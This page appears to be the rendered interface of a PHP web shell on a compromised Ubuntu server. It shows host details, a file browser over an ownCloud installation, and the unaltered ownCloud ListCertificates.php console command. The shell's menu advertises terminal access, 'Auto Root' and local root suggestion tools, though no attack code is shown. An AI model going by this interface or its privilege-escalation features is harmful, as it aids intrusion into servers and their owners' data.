Linux anchor 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
Apache/2.4.18 (Ubuntu)
Server IP : 10.10.100.4 & Your IP : 216.73.217.150
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
owncloud-prm /
core /
Command /
Security /
Delete
Unzip
Name
Size
Permission
Date
Action
ImportCertificate.php
1.83
KB
-rw-r--r--
2018-04-19 18:15
ListCertificates.php
2.99
KB
-rw-r--r--
2018-04-19 18:15
ListRoutes.php
6
KB
-rw-r--r--
2018-04-19 18:15
RemoveCertificate.php
1.7
KB
-rw-r--r--
2018-04-19 18:15
Save
Rename
<?php /** * @author Robin Appelman <icewind@owncloud.com> * * @copyright Copyright (c) 2018, ownCloud GmbH * @license AGPL-3.0 * * This code is free software: you can redistribute it and/or modify * it under the terms of the GNU Affero General Public License, version 3, * as published by the Free Software Foundation. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Affero General Public License for more details. * * You should have received a copy of the GNU Affero General Public License, version 3, * along with this program. If not, see <http://www.gnu.org/licenses/> * */ namespace OC\Core\Command\Security; use OC\Core\Command\Base; use OCP\ICertificate; use OCP\ICertificateManager; use OCP\IL10N; use Symfony\Component\Console\Helper\Table; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Output\OutputInterface; class ListCertificates extends Base { /** @var ICertificateManager */ protected $certificateManager; /** @var IL10N */ protected $l; public function __construct(ICertificateManager $certificateManager, IL10N $l) { $this->certificateManager = $certificateManager; $this->l = $l; parent::__construct(); } protected function configure() { $this ->setName('security:certificates') ->setDescription('List trusted certificates.'); parent::configure(); } protected function execute(InputInterface $input, OutputInterface $output) { $outputType = $input->getOption('output'); if ($outputType === self::OUTPUT_FORMAT_JSON || $outputType === self::OUTPUT_FORMAT_JSON_PRETTY) { $certificates = array_map(function (ICertificate $certificate) { return [ 'name' => $certificate->getName(), 'common_name' => $certificate->getCommonName(), 'organization' => $certificate->getOrganization(), 'expire' => $certificate->getExpireDate()->format(\DateTime::ATOM), 'issuer' => $certificate->getIssuerName(), 'issuer_organization' => $certificate->getIssuerOrganization(), 'issue_date' => $certificate->getIssueDate()->format(\DateTime::ATOM) ]; }, $this->certificateManager->listCertificates()); if ($outputType === self::OUTPUT_FORMAT_JSON) { $output->writeln(json_encode(array_values($certificates))); } else { $output->writeln(json_encode(array_values($certificates), JSON_PRETTY_PRINT)); } } else { $table = new Table($output); $table->setHeaders([ 'File Name', 'Common Name', 'Organization', 'Valid Until', 'Issued By' ]); $rows = array_map(function (ICertificate $certificate) { return [ $certificate->getName(), $certificate->getCommonName(), $certificate->getOrganization(), $this->l->l('date', $certificate->getExpireDate()), $certificate->getIssuerName() ]; }, $this->certificateManager->listCertificates()); $table->setRows($rows); $table->render(); } } }